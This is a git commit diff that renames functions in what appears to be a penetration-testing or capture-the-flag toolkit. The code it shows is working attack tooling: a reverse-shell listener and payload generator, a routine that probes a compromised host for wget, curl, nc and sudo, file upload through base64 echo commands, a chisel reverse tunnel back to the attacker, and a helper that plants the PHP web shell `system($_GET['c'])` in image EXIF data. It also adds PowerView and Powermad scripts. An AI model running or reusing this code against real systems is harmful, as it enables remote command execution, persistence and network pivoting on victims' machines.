Project re-structuring (python naming conventions)
This commit is contained in:
parent
353c4b7b88
commit
8adc30d7ae
@ -2,7 +2,7 @@ import os
|
|||||||
import sys
|
import sys
|
||||||
|
|
||||||
__doc__ = __doc__ or ""
|
__doc__ = __doc__ or ""
|
||||||
__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"]
|
__all__ = ["util","fileserver","xss_handler","rev_shell","xp_cmdshell", "dnsserver"]
|
||||||
|
|
||||||
inc_dir = os.path.dirname(os.path.realpath(__file__))
|
inc_dir = os.path.dirname(os.path.realpath(__file__))
|
||||||
sys.path.append(inc_dir)
|
sys.path.append(inc_dir)
|
||||||
|
@ -1,12 +1,14 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
import socket
|
import socket
|
||||||
|
import os
|
||||||
import sys
|
import sys
|
||||||
import pty
|
import pty
|
||||||
import util
|
import util
|
||||||
import time
|
import time
|
||||||
import random
|
import random
|
||||||
import threading
|
import threading
|
||||||
|
import paramiko
|
||||||
import readline
|
import readline
|
||||||
import base64
|
import base64
|
||||||
|
|
||||||
@ -17,16 +19,30 @@ class ShellListener:
|
|||||||
self.bind_addr = addr
|
self.bind_addr = addr
|
||||||
self.port = port
|
self.port = port
|
||||||
self.verbose = False
|
self.verbose = False
|
||||||
self.on_message = None
|
self.on_message = []
|
||||||
self.listen_thread = None
|
self.listen_thread = None
|
||||||
self.connection = None
|
self.connection = None
|
||||||
self.on_connect = None
|
self.on_connect = None
|
||||||
|
self.features = set()
|
||||||
|
|
||||||
def startBackground(self):
|
def startBackground(self):
|
||||||
self.listen_thread = threading.Thread(target=self.start)
|
self.listen_thread = threading.Thread(target=self.start)
|
||||||
self.listen_thread.start()
|
self.listen_thread.start()
|
||||||
return self.listen_thread
|
return self.listen_thread
|
||||||
|
|
||||||
|
def has_feature(self, feature):
|
||||||
|
return feature.lower() in self.features
|
||||||
|
|
||||||
|
def probe_features(self):
|
||||||
|
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
|
||||||
|
for feature in features:
|
||||||
|
output = self.exec_sync("whereis " + feature)
|
||||||
|
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
|
||||||
|
self.features.add(feature.lower())
|
||||||
|
|
||||||
|
def get_features(self):
|
||||||
|
return self.features
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
self.running = True
|
self.running = True
|
||||||
self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
@ -46,8 +62,8 @@ class ShellListener:
|
|||||||
break
|
break
|
||||||
if self.verbose:
|
if self.verbose:
|
||||||
print("< ", data)
|
print("< ", data)
|
||||||
if self.on_message:
|
for callback in self.on_message:
|
||||||
self.on_message(data)
|
callback(data)
|
||||||
|
|
||||||
print("[-] Disconnected")
|
print("[-] Disconnected")
|
||||||
self.connection = None
|
self.connection = None
|
||||||
@ -73,12 +89,42 @@ class ShellListener:
|
|||||||
data += b"\n"
|
data += b"\n"
|
||||||
return self.send(data)
|
return self.send(data)
|
||||||
|
|
||||||
|
def exec_sync(self, cmd):
|
||||||
|
output = b""
|
||||||
|
complete = False
|
||||||
|
|
||||||
|
if isinstance(cmd, str):
|
||||||
|
cmd = cmd.encode()
|
||||||
|
|
||||||
|
def callback(data):
|
||||||
|
nonlocal output
|
||||||
|
nonlocal complete
|
||||||
|
|
||||||
|
if complete:
|
||||||
|
return
|
||||||
|
|
||||||
|
output += data
|
||||||
|
if data.endswith(b"# ") or data.endswith(b"$ "):
|
||||||
|
complete = True
|
||||||
|
if b"\n" in output:
|
||||||
|
output = output[0:output.rindex(b"\n")]
|
||||||
|
if output.startswith(cmd + b"\n"):
|
||||||
|
output = output[len(cmd)+1:]
|
||||||
|
|
||||||
|
self.on_message.append(callback)
|
||||||
|
self.sendline(cmd)
|
||||||
|
while not complete:
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
self.on_message.remove(callback)
|
||||||
|
return output
|
||||||
|
|
||||||
def print_message(self, data):
|
def print_message(self, data):
|
||||||
sys.stdout.write(data.decode())
|
sys.stdout.write(data.decode())
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
def interactive(self):
|
def interactive(self):
|
||||||
self.on_message = lambda x: self.print_message(x)
|
self.on_message.append(lambda x: self.print_message(x))
|
||||||
while self.running and self.connection is not None:
|
while self.running and self.connection is not None:
|
||||||
self.sendline(input())
|
self.sendline(input())
|
||||||
|
|
||||||
@ -87,7 +133,36 @@ class ShellListener:
|
|||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
return self.running
|
return self.running
|
||||||
|
|
||||||
def generatePayload(type, local_address, port, index=None):
|
def write_file(self, path, data_or_fd, permissions=None):
|
||||||
|
|
||||||
|
def write_chunk(chunk, first=False):
|
||||||
|
# assume this is unix
|
||||||
|
chunk = base64.b64encode(chunk).decode()
|
||||||
|
operator = ">" if first else ">>"
|
||||||
|
self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
|
||||||
|
|
||||||
|
chunk_size = 1024
|
||||||
|
if hasattr(data_or_fd, "read"):
|
||||||
|
first = True
|
||||||
|
while True:
|
||||||
|
data = data_or_fd.read(chunk_size)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
if isinstance(data, str):
|
||||||
|
data = data.encode()
|
||||||
|
write_chunk(data, first)
|
||||||
|
first = False
|
||||||
|
data_or_fd.close()
|
||||||
|
else:
|
||||||
|
if isinstance(data_or_fd, str):
|
||||||
|
data_or_fd = data_or_fd.encode()
|
||||||
|
for offset in range(0, len(data_or_fd), chunk_size):
|
||||||
|
write_chunk(data_or_fd[offset:chunk_size], offset == 0)
|
||||||
|
|
||||||
|
if permissions:
|
||||||
|
self.sendline(f"chmod {permissions} {path}")
|
||||||
|
|
||||||
|
def generate_payload(type, local_address, port, index=None):
|
||||||
|
|
||||||
commands = []
|
commands = []
|
||||||
|
|
||||||
@ -127,7 +202,7 @@ def generatePayload(type, local_address, port, index=None):
|
|||||||
def spawn_listener(port):
|
def spawn_listener(port):
|
||||||
pty.spawn(["nc", "-lvvp", str(port)])
|
pty.spawn(["nc", "-lvvp", str(port)])
|
||||||
|
|
||||||
def triggerShell(func, port):
|
def trigger_shell(func, port):
|
||||||
def _wait_and_exec():
|
def _wait_and_exec():
|
||||||
time.sleep(1.5)
|
time.sleep(1.5)
|
||||||
func()
|
func()
|
||||||
@ -135,7 +210,7 @@ def triggerShell(func, port):
|
|||||||
threading.Thread(target=_wait_and_exec).start()
|
threading.Thread(target=_wait_and_exec).start()
|
||||||
spawn_listener(port)
|
spawn_listener(port)
|
||||||
|
|
||||||
def triggerShellBackground(func, port):
|
def trigger_background_shell(func, port):
|
||||||
listener = ShellListener("0.0.0.0", port)
|
listener = ShellListener("0.0.0.0", port)
|
||||||
listener.startBackground()
|
listener.startBackground()
|
||||||
threading.Thread(target=func).start()
|
threading.Thread(target=func).start()
|
||||||
@ -143,6 +218,30 @@ def triggerShellBackground(func, port):
|
|||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
return listener
|
return listener
|
||||||
|
|
||||||
|
def create_tunnel(shell, ports: list):
|
||||||
|
if len(ports) == 0:
|
||||||
|
print("[-] Need at least one port to tunnel")
|
||||||
|
return
|
||||||
|
|
||||||
|
# TODO: ports
|
||||||
|
|
||||||
|
if isinstance(shell, ShellListener):
|
||||||
|
# TODO: if chisel has not been transmitted yet
|
||||||
|
# we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt
|
||||||
|
ipAddress = util.get_address()
|
||||||
|
chiselPort = 3000
|
||||||
|
chisel_path = os.path.join(os.path.dirname(__file__), "chisel64")
|
||||||
|
shell.write_file("/tmp/chisel64", open(chisel_path, "rb"))
|
||||||
|
shell.sendline("chmod +x /tmp/chisel64")
|
||||||
|
|
||||||
|
t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", ))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
|
||||||
|
elif isinstance(shell, paramiko.SSHClient):
|
||||||
|
# TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103
|
||||||
|
pass
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
if len(sys.argv) < 2:
|
||||||
@ -152,7 +251,7 @@ if __name__ == "__main__":
|
|||||||
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
||||||
payload_type = sys.argv[1].lower()
|
payload_type = sys.argv[1].lower()
|
||||||
|
|
||||||
local_address = util.getAddress()
|
local_address = util.get_address()
|
||||||
|
|
||||||
# choose random port
|
# choose random port
|
||||||
if listen_port is None:
|
if listen_port is None:
|
||||||
@ -160,7 +259,7 @@ if __name__ == "__main__":
|
|||||||
while util.isPortInUse(listen_port):
|
while util.isPortInUse(listen_port):
|
||||||
listen_port = random.randint(10000,65535)
|
listen_port = random.randint(10000,65535)
|
||||||
|
|
||||||
payload = generatePayload(payload_type, local_address, listen_port)
|
payload = generate_payload(payload_type, local_address, listen_port)
|
||||||
|
|
||||||
if payload is None:
|
if payload is None:
|
||||||
print("Unknown payload type: %s" % payload_type)
|
print("Unknown payload type: %s" % payload_type)
|
@ -32,5 +32,5 @@ echo "[+] Chars: ${charcountDomain} and ${charcountIpAddress}"
|
|||||||
echo "[ ] Fuzzing…"
|
echo "[ ] Fuzzing…"
|
||||||
|
|
||||||
ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
|
ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
|
||||||
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \
|
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
|
||||||
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"
|
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"
|
||||||
|
18
util.py
18
util.py
@ -16,8 +16,7 @@ def isPortInUse(port):
|
|||||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||||
return s.connect_ex(('127.0.0.1', port)) == 0
|
return s.connect_ex(('127.0.0.1', port)) == 0
|
||||||
|
|
||||||
|
def get_address(interface="tun0"):
|
||||||
def getAddress(interface="tun0"):
|
|
||||||
if not interface in ni.interfaces():
|
if not interface in ni.interfaces():
|
||||||
interfaces = ni.interfaces()
|
interfaces = ni.interfaces()
|
||||||
interfaces.remove('lo')
|
interfaces.remove('lo')
|
||||||
@ -111,7 +110,7 @@ def pad(x, n):
|
|||||||
x += (n-(len(x)%n))*b"\x00"
|
x += (n-(len(x)%n))*b"\x00"
|
||||||
return x
|
return x
|
||||||
|
|
||||||
def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
|
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
|
||||||
|
|
||||||
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
||||||
_in = Image.new("RGB", (50,50), (255,255,255))
|
_in = Image.new("RGB", (50,50), (255,255,255))
|
||||||
@ -120,7 +119,7 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
|
|||||||
_in = exif.Image(open(_in, "rb"))
|
_in = exif.Image(open(_in, "rb"))
|
||||||
elif isinstance(_in, Image.Image):
|
elif isinstance(_in, Image.Image):
|
||||||
bytes = io.BytesIO()
|
bytes = io.BytesIO()
|
||||||
_in.save(bytes, format='PNG')
|
_in.save(bytes, format='JPEG')
|
||||||
_in = exif.Image(bytes.getvalue())
|
_in = exif.Image(bytes.getvalue())
|
||||||
elif not isinstance(_in, exif.Image):
|
elif not isinstance(_in, exif.Image):
|
||||||
print("Invalid input. Either give an Image or a path to an image.")
|
print("Invalid input. Either give an Image or a path to an image.")
|
||||||
@ -145,8 +144,7 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
|
|||||||
_in[exif_tag] = payload
|
_in[exif_tag] = payload
|
||||||
|
|
||||||
if _out is None:
|
if _out is None:
|
||||||
sys.stdout.write(_in.get_file())
|
return _in.get_file()
|
||||||
sys.stdout.flush()
|
|
||||||
elif isinstance(_out, str):
|
elif isinstance(_out, str):
|
||||||
with open(_out, "wb") as f:
|
with open(_out, "wb") as f:
|
||||||
f.write(_in.get_file())
|
f.write(_in.get_file())
|
||||||
@ -165,9 +163,9 @@ if __name__ == "__main__":
|
|||||||
command = sys.argv[1]
|
command = sys.argv[1]
|
||||||
if command == "getAddress":
|
if command == "getAddress":
|
||||||
if len(sys.argv) >= 3:
|
if len(sys.argv) >= 3:
|
||||||
print(getAddress(sys.argv[2]))
|
print(get_address(sys.argv[2]))
|
||||||
else:
|
else:
|
||||||
print(getAddress())
|
print(get_address())
|
||||||
elif command == "pad":
|
elif command == "pad":
|
||||||
if len(sys.argv) >= 3:
|
if len(sys.argv) >= 3:
|
||||||
n = 8
|
n = 8
|
||||||
@ -192,7 +190,9 @@ if __name__ == "__main__":
|
|||||||
else:
|
else:
|
||||||
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
|
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
|
||||||
|
|
||||||
exifImage(payload, _in, _out, tag)
|
output = set_exif_data(payload, _in, _out, tag)
|
||||||
|
sys.stdout.buffer.write(output)
|
||||||
|
sys.stdout.flush()
|
||||||
elif command == "help":
|
elif command == "help":
|
||||||
print("Usage: %s [command]" % bin)
|
print("Usage: %s [command]" % bin)
|
||||||
print("Available commands:")
|
print("Available commands:")
|
||||||
|
5442
win/PowerView.ps1
5442
win/PowerView.ps1
File diff suppressed because it is too large
Load Diff
4480
win/Powermad.ps1
Normal file
4480
win/Powermad.ps1
Normal file
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue
Block a user